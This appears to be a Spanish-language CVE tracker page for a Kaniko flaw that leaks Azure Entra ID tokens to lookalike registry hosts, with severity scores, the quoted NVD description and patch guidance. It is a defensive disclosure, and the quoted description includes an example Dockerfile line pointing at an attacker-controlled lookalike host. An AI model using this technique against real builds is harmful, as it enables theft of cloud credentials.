Amenazas en vivo

Todas las CVE / chainguard

CVE-2026-105769chainguard kaniko

Filtración de token de Azure AD en Kaniko por validación débil de registro

Crítica 9.3 Sin autenticación

Prioridad
71
CVSS 3.1
9.3
EPSS
—
Requiere autenticación
No
Publicada
2 nov 2026
Actualizada
2 nov 2026
Categoría
Aplicación · Multiplataforma
Debilidad (CWE)
CWE-346, CWE-522
SSVC (CISA)
Explotación: ninguna · Automatizable: no · Impacto técnico: total
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Qué pasa

Kaniko anterior a 1.25.20 filtra tokens de acceso de Microsoft Entra ID (Azure AD) a registros controlados por atacantes debido a una validación débil de nombres de host. Un Dockerfile que referencia imágenes en hosts similares (como x.azurecr.io.attacker.com) causa que el helper de credenciales obtenga un token de la identidad de Azure del build y lo envíe al atacante, quien puede usarlo contra Azure Resource Manager o intercambiarlo por credenciales de registros ACR. No se requiere ejecución de instrucciones RUN ni push.

Ver el texto original de NVD (en inglés)

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

Texto de la fuente, sin modificar. NVD.

Qué hacer

Hay parche · versiones corregidas: 1.25.20

Actualiza Kaniko a versión 1.25.20 o posterior para corregir la validación de nombres de host de Azure Container Registry.

Aviso del fabricante · github.com ↗

  1. Aplica la actualización de seguridad del fabricante para kaniko.
  2. Se explota sin autenticación: si no puedes parchear ya, limita el acceso desde Internet al servicio afectado.

Paquetes afectados

EcosistemaPaqueteVersiones afectadasCorregida enCómo actualizar
Go github.com/chainguard-dev/kaniko < 1.25.20 1.25.20 go get github.com/chainguard-dev/kaniko@v1.25.20
Go github.com/chainguard-dev/kaniko < 1.25.20 1.25.20 go get github.com/chainguard-dev/kaniko@v1.25.20

Según OSV / GitHub Advisories (GHSA-5q7h-w9jf-cx97, GO-2026-6902). Verifica la versión en tu lockfile antes de actualizar.

Productos afectados

Según el CNA que publicó la CVE. NVD todavía no cargó los CPE con versiones.

Boletines oficiales

Avisos de fabricantes, CERT y distribuciones que nombran esta CVE. Títulos sin modificar.

Fuentes oficiales

Referencias

Enlaces publicados por las fuentes. Ábrelos con criterio.